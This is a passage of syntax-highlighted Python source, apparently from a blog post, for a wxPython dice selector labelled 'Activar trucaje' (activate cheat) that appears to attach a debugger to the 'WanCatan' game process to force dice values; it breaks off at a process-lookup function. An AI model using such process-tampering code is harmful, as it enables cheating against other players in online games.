style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;id&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;rango&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;[&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'1'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'2'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'3'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'4'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'5'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'6'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;cb&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;CheckBox&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;"Activar trucaje"&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch1&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Choice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;choices&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;rango&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch2&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Choice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;choices&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;rango&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch3&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Choice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;choices&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;rango&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Bind&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EVT_CHOICE&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EvtChoice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Bind&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EVT_CHOICE&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EvtChoice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Bind&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EVT_CHOICE&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EvtChoice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Bind&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EVT_CHECKBOX&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;EvtCheckBox&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;cb&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;border&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;BoxSizer&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;VERTICAL&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;sizer&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;BoxSizer&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;HORIZONTAL&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;sizer&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;AddMany&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;[&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ch3&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;]&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;border&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Add&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;cb&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;ALL&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;15&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;border&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Add&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;sizer&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;LEFT&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;50&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;SetSizer&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;border&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;EvtChoice&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;GetId&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;==&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;int&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;GetString&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;elif&lt;/span&gt; &lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;GetId&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;==&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;int&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;GetString&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;elif&lt;/span&gt; &lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;GetId&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;==&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;int&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;GetString&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;EvtCheckBox&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;event&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;IsChecked&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;class&lt;/span&gt; &lt;span style="color:#000000;"&gt;MyFrame&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Frame&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;__init__&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;parent&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;title&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Frame&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;__init__&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;parent&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;title&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;size&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;200&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;100&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;selector&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;selector&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;class&lt;/span&gt; &lt;span style="color:#000000;"&gt;MyApp&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;wx&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;App&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;OnInit&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;frame&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;MyFrame&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;None&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;"WanCatan Dados"&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;SetTopWindow&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;frame&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;frame&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;Show&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;True&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#000000;"&gt;True&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;OnExit&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;detach&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;class&lt;/span&gt; &lt;span style="color:#000000;"&gt;Hebra&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;Thread&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;run&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;self&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;app&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;MyApp&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;app&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;MainLoop&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#999;"&gt;#------------------------------------------------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#999;"&gt;# Funciones del debbuger&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;busca_pid&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;nombre&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;for&lt;/span&gt; &lt;span style="color:#000000;"&gt;pid&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;proc&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;in&lt;/span&gt; &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;enumerate_processes&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;proc&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;lower&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;==&lt;/span&gt; &lt;span style="color:#000000;"&gt;nombre&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;lower&lt;/span&gt;&lt;span 